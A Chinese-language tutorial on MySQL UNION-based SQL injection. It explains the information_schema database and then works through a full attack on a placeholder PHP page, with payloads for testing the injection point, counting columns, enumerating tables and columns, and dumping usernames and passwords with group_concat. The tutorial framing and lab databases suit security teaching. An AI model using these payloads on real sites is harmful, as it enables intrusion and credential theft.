SQL注入具体流程及相关知识
SQL注入扫盲
为了让每一个学习注入的人完整地了解SQL注入,此处以Mysql Union Query(联合查询)注入类型来讲解。了解Mysql注入前我们还必须先了解“information_schema”这个数据库。为了更直观地展示,以图形化界面PHPMyadmin来说明这个数据库。
information_schema数据数据库是MySQL自带的数据库,简单来说它存储着整个Mysql数据库的数据信息,其中就包含Mysql里面的所有库、表、字段的关系结构。
在PHPMysql中打开information_schema数据库中的SCHEMATA表。看最关键第二个字段“SCHEMA_NAME”,你是否会觉得很熟悉?
没错,它就是显示Mysql数据库中所有的库名。不信你可以在Mysql命令行使用Show databases;查看你数据库中的所有库子
这样来看的话,information_schema数据库的SCHEMATA表的SCHEMA_NAME字段保存的是所有的数据库的名:
-- 如果要显示某个数据库下的表,要先use 数据库名;还有一种方法用数据库.表名的方式:
-- information_schema. SCHEMATA是什么意思呢?点号的前面是数据库名,点号后面则是表名,例如a.bc表示a数据库下的bc表
select SCHEMA_NAME from information_schema.SCHEMATA; -- 效果等价于show databases
>>>
+--------------------+
| SCHEMA_NAME |
+--------------------+
| information_schema |
| dvwa |
| mysql |
| performance_schema |
| pikachu |
| pkxss |
| test |
+--------------------+
7 rows in set (0.00 sec)
OK,那么我们来想想如何获取一个数据库中的所有表呢?没错,也是在information_schema数据库中。只不过我们不是看“SCHEMA_NAME”这个表了,而是看“TABLES”表了,这个表是存储着所有表及其属于哪个数据库这样一种关系的表,如下图(不完整的截图):
注意看,第二个字段是数据库的名字,第三个字段“TABLE_NAME”则是表名;截图这一块内容是表示information_schema数据库下的所有表(截图未完全显示),后面还有Mysql数据库下的所有表……
那么根据这一存储结构,要想获取一个数据库下的所有表的表名SQL语句:比如获取information_schema数据库下的所有表
-- select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='你要获取表的数据库名';
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='information_schema';
>>>截取部分结果显示:
+---------------------------------------+
| TABLE_NAME |
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| KEY_COLUMN_USAGE |
...
下一步我们要了解如何获取字段了,字段的信息存储在information_schema数据的COLUMNS表中。如下图中(截图不完整),第二个字段“TABLE_SCHEMA”是数据库名称,第三个字段“TABLE_NAME”是当前数据库中的表名。第四个字段“COLUMN_NAME”是当前表下的字段。部分截图如下:
同理要获取:information_schema数据库下的CHARACTER_SETS表的所有字段:
select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='CHARACTER_SETS';
>>>
+----------------------+
| COLUMN_NAME |
+----------------------+
| CHARACTER_SET_NAME |
| DEFAULT_COLLATE_NAME |
| DESCRIPTION |
| MAXLEN |
+----------------------+
4 rows in set (0.01 sec)
完成了上面的练习之后,笔者讲解UNION注入大家就会学的更明白了。首先如何判断注入点,大多数人所说的and 1=1、and 1=2来判断的确是可以的,但我们更需要明白每一个步骤的原理。
为什么会这样就可以判断呢?我们来使用Mysql数据库来查询试试。Select password from mysql.user where user=’root’ and 1=1;和 and 1=2 试试。如下图:
首先再来看下phpstudy下的mysql结果分布:COLUMN_NAME栏的数据就是mysql数据库的user表下面的所有字段名
部分截图:
select password from mysql.user where user='root' and 1=1;-- mysql.user的user是表名,where user的user是字段名,这里恰好重复缘故
>>>
+-------------------------------------------+
| password |
+-------------------------------------------+
| *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
+-------------------------------------------+
3 rows in set (0.01 sec)
-- and运算符,前后条件都成立才成立,右边1=1恒成立,所以写不写没区别,于是就按正常SQL输出结果
select password from mysql.user where user='root' and 1=2;
>>>Empty set (0.00 sec)
-- 而1=2是不成立的,所以在这里就没有输出任何内容。这进一步说明WEB程序将我们输入的 and 1=1 带入了SQL查询语句中进行查询,通过返回页面的不同来判断。
-- 这句话看下面的例子更直观:
http 😕/xxxx.com/huangou.php?id=5 and 1=1 返回和原来一样的页面;
http 😕/xxxx.com/huangou.php?id=5 and 1=2 返回空数据的页面
在URL的id=5后面加上 and 1=2,发现返回和and 1=1不一样的界面,说明WEB程序将我们输入的 and 1=1 带入了SQL查询语句中进行查询,由此得出,是可以注入的。
判断为SQL注入之后第二步是判断字段数,使用order by函数(用于查询出的结果排序的函数)。通过order by 1 、order by 2……order by 8,都是返回正常页面,如下图:id=5 order by 8;
当我们输入order by 9的时候,突然就返回空数据的页面了(与and 1=2页面一样)。如下图:
这时候初学者会有两个疑问:1、为什么会出现这样的情况?2、为什么要这样做?带着两个问题我们来解决,进入Mysql测试一下就会明白了(下图字段数不一样):
select * from table order by n;-- n 表示select * 里面的第n个字段,整段sql的意义是:查询出来的结果,按照第n个字段排序
select host,password from user order by 2; -- 这条语句password写在第二个,那么标号就是2,所以结果根据password排序;
-- 该语句表示从user表取出的数据但只显示host、password两个字段,并且结果根据password排序;默认是升序
select host,password from mysql.user where user='root' order by 2;
>>>
+-----------+-------------------------------------------+
| host | password |
+-----------+-------------------------------------------+
| localhost | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| 127.0.0.1 | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| ::1 | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
+-----------+-------------------------------------------+
3 rows in set (0.00 sec)
-- 显然下面这条语句会报错
select host,password from mysql.user where user='root' order by 3;
>>>
ERROR 1054 (42S22): Unknown column '3' in 'order clause'
-- 因为select后面要显示的字段只有两个,按顺序排列1,2没有3这个字段名;
联合查询的注意事项:union两边的select语句的字段个数必须一致 ,同时select语句中的列的顺序要保持一致,根据上面已经判断出有注入,现在我们来猜测URL里的请求有多少个字段名?
使用union select 1,2,3,4,5,6,7,8 ,为啥到8为止,因为上面已经查询出来,9不能正常显示了;来查看这8个字段中哪几个字段位能在网页中正常显示的。截图如下:
从上图和上上图对比可以发现多了2、5、7三个数字,8个字段位的第2、5、7个字段能够在正常网页中显示了。有肯不是很理解,特地去验证了一下:
已知表product:
mysql> select product_id,sale_price from product;
+------------+------------+
| product_id | sale_price |
+------------+------------+
| 0001 | 1000 |
| 0002 | 500 |
| 0003 | 4000 |
| 0004 | 3000 |
| 0005 | 6800 |
| 0006 | 500 |
| 0007 | 880 |
| 0008 | 100 |
+------------+------------+
8 rows in set (0.00 sec)
mysql> select product_id,sale_price from product union select 1,4;
+------------+------------+
| product_id | sale_price |
+------------+------------+
| 0001 | 1000 |
| 0002 | 500 |
| 0003 | 4000 |
| 0004 | 3000 |
| 0005 | 6800 |
| 0006 | 500 |
| 0007 | 880 |
| 0008 | 100 |
| 1 | 4 |
+------------+------------+
9 rows in set (0.00 sec)
-- 前后对比,应该能稍微理解点,仅仅只有select 1,4会显示对应数字出来;
这时候你也许可以直接插入user()、database()、version()等Mysql的常量。补充个知识:
-- user()的功能是查看当前用户名,使用如下:
mysql> select user();
>>>
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
-- database()的功能是显示当前所使用的数据库名: NULL表示未选择任何数据库
mysql> select database();
+------------+
| database() |
+------------+
| NULL |
+------------+
1 row in set (0.00 sec)
-- version()显示版本;
但是我们这章要说如何获取数据。首先我们可以通过database()获取当前数据库;用这条语句union select 1,2,3,4,database(),6,7,8 ;截图如下:
获取了数据库名称之后,我们就需要查询表了,也就是查询数据库taogou123对应的表,这就要用到上面的information_schema.TABLES,MySQL数据库里的information_schema数据库的TABLES表里存储着
所有的表及其对应数据库之间的对应关系。还记得上节课说的如何从information_schema.TABLES。没错,如何构造呢?现在知道2、5、7可以显示数据,那就将我们要显示的数据放在这三个任意一个位置,我们现在要显示TABLES表中的TABLE_NAME字段,所以把它放在5上面去,那么后面还要规定从哪个数据表里面查的字句;
因此构造这样一条SQL语句:
xxx.com/huangou.php?id=5 union select 1,2,3,4,TABLE_NAME,6,7,8 from information_schema.TABLES where TABLE_SCHEMA='taogou123' limit 1,1;
-- 整个SQL语句的含义是从information_schema库中的TABLES表查询TABLE_NAME,条件是TABLE_SHCEMA=‘taogou123’,即查询taogou123数据库里的某个表
-- 后面的limit 1,1是限制查询结果,比如查询出结果有100条,如果使用了limit 1,1则代表从第一条起,只显示一条。
结果显示:
下面开始有点不懂,????
那是否如果要查询第二条则为:limit 2,1(从第二条开始只显示一条结果),疑问来了?为什么我们只显示一条,而不是全部查询出来呢?很简单,是因为我们每个字段上面只能放一个数据,不能同时放多个数据,那么如何同时放多个数据呢?可以使用concat()、group_concat函数来,这两个函数我们可以简单认为是连接字符串,比如group_concat(user(),database(),version())就是把这三个常量的注入结果连接在一起,当做一个整体字符串显示在注入结果中。这里则将group_concat放在要查询的TABLE_NAME上。语句如下:
www.xxx.com/huangou.php?id=5 union select 1,2,3,4,group_concat(TABLE_NAME,0x3c2f62723e),6,7,8 from information_schema.TABLES where TABLE_SCHEMA='taogou123';
-- 语句可以发现我们已经将limit去除了,但是问题是0x3c2f62723e是什么玩意?很简单,这是一个十六进制,转换为字符串则是:“</br>”,学过HTML的都知道吧,这是换行的意思。
-- 如果我们不加上这个十六进制,打印的结果则是每个表连接在一起,可以从下图看效果:
如果没有换行符,就是横的一排。
这时候我们就要查询关键表了,可以从结果看出(当然这里被遮挡了)关键表是duoduo_user,接下来就是获取这个表的字段了,如果你不知道如何构造获取字段的SQL语句,那麻烦你看看上节提到的如何获取某个表中的字段。语句如下:
http://www.xxx.com/huangou.php?id=5 union select 1,2,3,4,group_concat(COLUMN_NAME,0x3c2f62723e),6,7,8 from information_schema.COLUMNS where TABLE_NAME='duoduo_user';
那么很简单了,我们知道如要要获取“ddusername”、“ddpassword”核心的用户密码的正常SQL语句是:select ddusername,ddpassword from duoduo_user; 当然这是在Mysql查询的时候这样写,如果代入我们的SQL语句中则必须用group_concat(ddusername, 0x3c2f62723e, ddpassword)包含起来。最后的SQL语句则为
http://www.xxxx.com/huangou.php?id=5 union select 1,2,3,4,group_concat(ddusername, 0x3c2f62723e,ddpassword),6,7,8 from duoduo_user;